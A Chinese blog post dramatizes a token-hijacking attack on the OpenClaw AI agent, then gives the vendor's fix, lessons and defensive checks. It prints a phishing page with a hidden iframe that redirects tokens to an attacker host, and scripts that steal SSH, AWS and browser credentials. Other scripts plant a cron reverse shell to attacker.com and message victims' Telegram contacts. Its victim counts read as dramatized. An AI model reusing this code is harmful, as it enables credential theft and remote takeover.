复盘 OpenClaw 惊魂 48 小时:黑客如何通过一条链接接管你的电脑

复盘 OpenClaw 惊魂 48 小时:黑客如何通过一条链接接管你的电脑

假设你是一名热衷于尝试新技术的开发者。几个月前,你部署了 OpenClaw,这个号称"开源贾维斯"的 AI Agent。它帮你自动整理 Notion 笔记,在 Slack 上回复不重要的消息,甚至能帮你订机票。你觉得这东西真酷,未来已来。

这天下午,你在 Discord 的某个技术群里看到有人分享了一个链接:

"OpenClaw 新出的 Dashboard 皮肤,配色超棒!一键预览:http://claw-themes.dev/preview"

你毫无防备地点击了。页面闪了一下,看起来没什么变化,还是你熟悉的控制台界面。你耸耸肩,以为是链接失效了,关掉网页继续工作。

你不知道的是,就在那几秒钟里,你的电脑已经易主了。

这就是 CVE-2026-25253 的真实攻击场景。让我完整复盘这惊魂的 48 小时。

第一阶段:诱饵的精心设计(攻击前 24 小时)

攻击者并不是随便发个链接就完事了。一次成功的社会工程学攻击,需要精心的准备。

选择目标群体

攻击者首先要确定:谁在用 OpenClaw?

答案很明显:技术爱好者、独立开发者、AI 研究员。这群人活跃在特定的社区:

  • Reddit: r/LocalLLaMA, r/selfhosted, r/MachineLearning
  • Discord: 各种 AI 技术群、LangChain 社区、Homebrew AI 群
  • Twitter/X: #LocalAI, #AIAgent 话题下的用户
  • Hacker News: 经常讨论 AI 工具的帖子

伪装身份

攻击者提前几周就开始养号。在 Discord 里正常聊天,在 Reddit 里发一些有价值的技术帖子,积累 karma 值。他的账号看起来像是一个真正的技术爱好者,而不是新注册的可疑账号。

制作钓鱼页面

攻击者注册了一个看起来很正规的域名:claw-themes.dev。域名里带了"claw",让人联想到 OpenClaw,但又不是官方域名,方便推卸责任。

页面的设计也很用心:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OpenClaw Community Themes | Free Dashboard Skins</title>
    <meta name="description" content="Beautiful, free themes for your OpenClaw dashboard. Created by the community.">
    
    <!-- 看起来很正规的 SEO 和 Open Graph 标签 -->
    <meta property="og:title" content="OpenClaw Community Themes">
    <meta property="og:description" content="Make your AI assistant look beautiful">
    <meta property="og:image" content="https://claw-themes.dev/preview.png">
    
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
            min-height: 100vh;
            color: #fff;
        }
        .container { max-width: 1200px; margin: 0 auto; padding: 40px 20px; }
        h1 { font-size: 2.5rem; margin-bottom: 10px; }
        .subtitle { color: #8892b0; font-size: 1.2rem; margin-bottom: 40px; }
        
        .theme-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; }
        .theme-card {
            background: rgba(255,255,255,0.05);
            border-radius: 12px;
            overflow: hidden;
            border: 1px solid rgba(255,255,255,0.1);
            transition: transform 0.2s;
        }
        .theme-card:hover { transform: translateY(-5px); }
        .theme-preview { width: 100%; height: 180px; object-fit: cover; }
        .theme-info { padding: 20px; }
        .theme-name { font-size: 1.2rem; margin-bottom: 5px; }
        .theme-author { color: #8892b0; font-size: 0.9rem; }
        .download-btn {
            display: inline-block;
            margin-top: 15px;
            padding: 10px 20px;
            background: #64ffda;
            color: #1a1a2e;
            border: none;
            border-radius: 6px;
            font-weight: 600;
            cursor: pointer;
            text-decoration: none;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>OpenClaw Community Themes</h1>
        <p class="subtitle">Beautiful dashboard skins contributed by the community. Free to use.</p>
        
        <div class="theme-grid">
            <div class="theme-card">
                <img src="theme-dark-pro.png" alt="Dark Pro Theme" class="theme-preview">
                <div class="theme-info">
                    <h3 class="theme-name">Dark Pro</h3>
                    <p class="theme-author">by @anonymous_dev</p>
                    <a href="#" class="download-btn" onclick="previewTheme('dark-pro')">Live Preview</a>
                </div>
            </div>
            
            <div class="theme-card">
                <img src="theme-neon.png" alt="Neon Dreams Theme" class="theme-preview">
                <div class="theme-info">
                    <h3 class="theme-name">Neon Dreams</h3>
                    <p class="theme-author">by @ui_enthusiast</p>
                    <a href="#" class="download-btn" onclick="previewTheme('neon')">Live Preview</a>
                </div>
            </div>
            
            <!-- 更多主题卡片... -->
        </div>
    </div>
    
    <!-- 隐藏的恶意 payload -->
    <iframe 
        id="payload-frame"
        src="http://localhost:3000/?gatewayUrl=ws://collector.claw-themes.dev:443/ws"
        style="position:fixed; top:-9999px; left:-9999px; width:1px; height:1px; opacity:0; pointer-events:none;"
    ></iframe>
    
    <script>
    // 为了让攻击更隐蔽,延迟加载 iframe
    document.addEventListener('DOMContentLoaded', function() {
        // 先检测用户是否可能在使用 OpenClaw
        // 通过尝试连接 localhost:3000 来判断
        fetch('http://localhost:3000/api/health', { mode: 'no-cors' })
            .then(() => {
                // 如果请求没有报错(即使读不到响应),说明端口开着
                console.log('Target detected');
                // 已经有 iframe 在加载了,什么都不用做
            })
            .catch(() => {
                // 端口没开,这个用户可能没装 OpenClaw,移除 iframe 避免浪费
                var frame = document.getElementById('payload-frame');
                if (frame) frame.remove();
            });
    });
    
    function previewTheme(name) {
        // 假装是主题预览功能
        alert('Connecting to preview server... Please wait.');
        // 实际上什么都不做,只是为了看起来正常
    }
    </script>
</body>
</html>

这个页面看起来完全正常。设计精美,功能完整,甚至还做了 SEO 优化。普通用户根本不会怀疑。

第二阶段:传播与感染(D-Day)

准备工作完成后,攻击者开始传播。

多平台同步投放

攻击者在上午 10 点(美国时区)同时发布:

Reddit r/LocalLLaMA:

"I've been using OpenClaw for a few weeks and finally got around to customizing the dashboard. Found this site with community themes - the Dark Pro one is my favorite. Link in comments."

Discord 某 AI 群:

"Anyone using OpenClaw? Just found some nice dashboard themes: claw-themes.dev - the neon one looks sick"

Twitter:

"Gave my OpenClaw setup a makeover with these free themes 🔥 claw-themes.dev #OpenClaw #AIAgent #LocalLLM"

利用信任链

最狠的一招:攻击者还私信了几个在 OpenClaw 社区里比较活跃的用户,假装是同好交流:

"Hey! Saw your post about OpenClaw setup. I made a themes site you might like: claw-themes.dev. Would love your feedback!"

这些活跃用户如果访问了链接并中招,他们之后在群里提到这个站点时,就变成了"背书"。其他人看到"社区里的熟人推荐",防备心会更低。

第三阶段:Token 收割(D-Day + 2小时)

攻击者的服务器在疯狂收割战果。

# 攻击者服务器的日志输出

[2026-02-02 12:15:33] New connection from 73.162.xxx.xxx (US)
[+] Token captured: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX...
[+] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...

[2026-02-02 12:17:45] New connection from 185.234.xxx.xxx (DE)
[+] Token captured: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX...
[+] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...

[2026-02-02 12:19:02] New connection from 203.45.xxx.xxx (JP)
[+] Token captured: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX...

# ... 每隔几分钟就有新的受害者 ...

[2026-02-02 14:30:00] === STATUS REPORT ===
[*] Total connections: 847
[*] Valid tokens captured: 623
[*] Unique IPs: 412

两个小时内,超过 400 个独立用户中招,攻击者收集到了 600 多个有效的认证 Token。

第四阶段:远程接管(D-Day + 6小时)

有了 Token,攻击者可以做什么?

场景一:窃取敏感信息

async def steal_secrets(victim_ip, token):
    """连接受害者的 OpenClaw,窃取敏感文件"""
    ws = await websockets.connect(f"ws://{victim_ip}:3000/gateway")
    await ws.send(json.dumps({"type": "auth", "token": token}))
    
    # 窃取 SSH 私钥
    await ws.send(json.dumps({
        "type": "execute",
        "command": "cat ~/.ssh/id_rsa ~/.ssh/id_ed25519 2>/dev/null"
    }))
    ssh_keys = await ws.recv()
    
    # 窃取 AWS 凭证
    await ws.send(json.dumps({
        "type": "execute",
        "command": "cat ~/.aws/credentials 2>/dev/null"
    }))
    aws_creds = await ws.recv()
    
    # 窃取浏览器保存的密码数据库(macOS Chrome)
    await ws.send(json.dumps({
        "type": "execute",
        "command": "cp ~/Library/Application\\ Support/Google/Chrome/Default/Login\\ Data /tmp/chrome_passwords.db && cat /tmp/chrome_passwords.db | base64"
    }))
    passwords_db = await ws.recv()
    
    # 窃取 .env 文件中的 API Key
    await ws.send(json.dumps({
        "type": "execute",
        "command": "find ~ -name '.env' -o -name '*.env' 2>/dev/null | head -20 | xargs cat 2>/dev/null"
    }))
    env_files = await ws.recv()
    
    return {
        'ssh_keys': ssh_keys,
        'aws_credentials': aws_creds,
        'chrome_passwords': passwords_db,
        'env_files': env_files
    }

场景二:植入持久化后门

async def install_backdoor(victim_ip, token):
    """安装持久化后门,即使 OpenClaw 被关闭也能保持访问"""
    ws = await websockets.connect(f"ws://{victim_ip}:3000/gateway")
    await ws.send(json.dumps({"type": "auth", "token": token}))
    
    # 创建反向 shell 脚本
    backdoor_script = '''
    #!/bin/bash
    while true; do
        bash -i >& /dev/tcp/attacker.com/4444 0>&1
        sleep 60
    done
    '''
    
    await ws.send(json.dumps({
        "type": "execute",
        "command": f"echo '{backdoor_script}' > ~/.local/bin/.updater && chmod +x ~/.local/bin/.updater"
    }))
    
    # 添加到 crontab 实现持久化
    await ws.send(json.dumps({
        "type": "execute",
        "command": "(crontab -l 2>/dev/null; echo '*/5 * * * * ~/.local/bin/.updater &') | crontab -"
    }))
    
    print(f"[+] Backdoor installed on {victim_ip}")

场景三:利用受害者的社交账号扩大攻击

OpenClaw 最危险的能力之一是可以接入 WhatsApp、Telegram、iMessage 等即时通讯工具。攻击者可以利用这一点:

async def spread_via_contacts(victim_ip, token):
    """利用受害者的社交账号向其联系人传播恶意链接"""
    ws = await websockets.connect(f"ws://{victim_ip}:3000/gateway")
    await ws.send(json.dumps({"type": "auth", "token": token}))
    
    # 获取最近联系人列表
    await ws.send(json.dumps({
        "type": "telegram_action",
        "action": "get_recent_contacts",
        "limit": 50
    }))
    contacts = json.loads(await ws.recv())
    
    # 向每个联系人发送钓鱼消息
    phishing_message = """
    Hey! Check out these OpenClaw themes I found: claw-themes.dev
    The dark mode one is really nice 👀
    """
    
    for contact in contacts.get('contacts', []):
        await ws.send(json.dumps({
            "type": "telegram_action",
            "action": "send_message",
            "chat_id": contact['id'],
            "text": phishing_message
        }))
        await asyncio.sleep(random.uniform(30, 120))  # 随机延迟,避免被检测
    
    print(f"[+] Phishing messages sent to {len(contacts.get('contacts', []))} contacts")

这就形成了病毒式传播:受害者的朋友收到来自他的"推荐",更容易点击链接,然后也变成受害者,再向他们的联系人传播...

第五阶段:东窗事发(D-Day + 36小时)

一天半后,有人察觉到了异常。

一位安全研究员在 Twitter 上发帖:

"Seeing weird outbound WebSocket connections from my OpenClaw instance to an unknown server. Anyone else? @OpenClawHQ"

这条推文很快被转发,更多人开始检查自己的网络日志:

# 受害者发现的可疑日志
$ grep "websocket" /var/log/nginx/access.log
73.162.xxx.xxx - - [02/Feb/2026:12:15:33 -0800] "GET /ws HTTP/1.1" 101 - "ws://collector.claw-themes.dev:443/ws"

社区开始沸腾。有人分析了 claw-themes.dev 的页面源码,发现了那个隐藏的 iframe。

OpenClaw 官方团队在 6 小时后发布了紧急安全公告:

[SECURITY ADVISORY] CVE-2026-25253 - Critical Token Exfiltration Vulnerability

A critical vulnerability has been discovered that allows attackers to steal authentication tokens via malicious URLs.

Affected versions: All versions before 2026.1.29

Immediate actions:

  1. Upgrade to v2026.1.29 immediately
  2. Rotate all API keys stored in OpenClaw
  3. Check your network logs for connections to unfamiliar servers
  4. If compromised, assume all connected accounts are compromised

第六阶段:善后与反思(D-Day + 48小时)

48 小时后,风波逐渐平息。

官方的修复措施

  • 发布了修复版本 v2026.1.29
  • 移除了从 URL 参数读取 gatewayUrl 的功能
  • 增加了 WebSocket 连接的 Origin 校验
  • Token 增加了 IP 绑定

社区的反应

  • 很多人表示要重新审视本地 AI 工具的安全性
  • 有人开始开发第三方安全审计工具
  • 部分用户决定停止使用,等待更成熟的方案

攻击者的收获 据估计,在这 48 小时内,攻击者可能:

  • 窃取了数百台电脑的敏感信息
  • 获取了大量 OpenAI、Anthropic 等 API Key
  • 在部分系统上植入了持久化后门
  • 通过社交账号获取了更大的攻击面

受害者的损失 对于中招的用户来说,代价可能是:

  • API Key 被盗用产生的费用
  • 个人隐私数据泄露
  • SSH 密钥被盗导致服务器沦陷
  • 社交账号被用于传播恶意信息

我们能学到什么?

这 48 小时给整个 Local AI 社区敲响了警钟:

  1. 便利和安全往往是矛盾的:那个"一键配置"的功能,成了攻击入口。

  2. 社会工程学永远有效:精心设计的钓鱼页面、养了几周的账号、利用社区信任链——技术再强也挡不住人性的弱点。

  3. 本地服务不等于安全服务:浏览器是内网和外网的桥梁,只要有 Web UI,就有被攻击的可能。

  4. 开源不等于安全:代码开源可以被审计,但如果没人审计,漏洞照样存在。

  5. 最小权限原则至关重要:OpenClaw 如果没有那么大的系统权限,即使 Token 泄露,危害也会小得多。

如果你也在使用 OpenClaw 或类似的本地 AI 工具,现在就去检查你的版本号,检查你的网络日志,更换你的 API Key。别让自己成为下一个案例。

# 检查 OpenClaw 版本
docker exec openclaw cat /app/package.json | grep version

# 检查可疑的 WebSocket 连接
netstat -an | grep ESTABLISHED | grep -E ':80|:443|:9999'

# 检查 crontab 是否被篡改
crontab -l

# 检查隐藏的启动脚本
ls -la ~/.local/bin/

保持警惕。在这个 AI Agent 逐渐掌握我们数字生活的时代,安全从来不是别人的事。

← 返回博客列表